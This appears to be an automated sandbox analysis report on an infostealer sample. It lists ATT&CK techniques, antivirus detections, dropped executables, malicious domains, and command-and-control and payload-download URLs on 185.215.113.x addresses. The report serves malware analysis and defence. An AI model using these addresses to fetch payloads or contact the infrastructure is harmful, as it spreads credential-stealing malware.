Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000979001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000979001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1000979001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	47%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.185.142	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
support.mozilla.org	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bestMatchBlockingEnabledhttp://mozilla.org/#/properties/merinoClient	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/accountservices.sync.log.logger.browserPanelUI-remotetabs-setupsyncappMenu-heade	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/targeting	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/networkPredictor4fb599b7-2bfe-40fa-aec3-5b51dcdef652	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	file.exe, 00000000.00000003.2201376097.00000000010C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2147845498.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2150935247.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151059602.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148082112.0000000005A37000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236788761.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151283183.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3170068733.000001378E8D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/originsDaysCutOff	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A10D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3197648410.000001379E1CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A698F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6919000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.3179268401.000001379A0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3181915988.000001379A8B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F677000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCapextension/webcompat	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000003.2975681250.000001379E91D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2977256992.000001379E98A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6981000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3220295992.00000137A0106000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpy	606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/valuehtt	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpa	7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabledhttp://mozilla.org/#/pr	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestScoreMapExtension:RegisterContentScriptsComplete	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDatecreateContextWithTimeout/get/	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.2167545129.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe=b	skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/enabled	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://json-schema.org/draft-07/schema#Unique	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/appIdwebcompat	firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
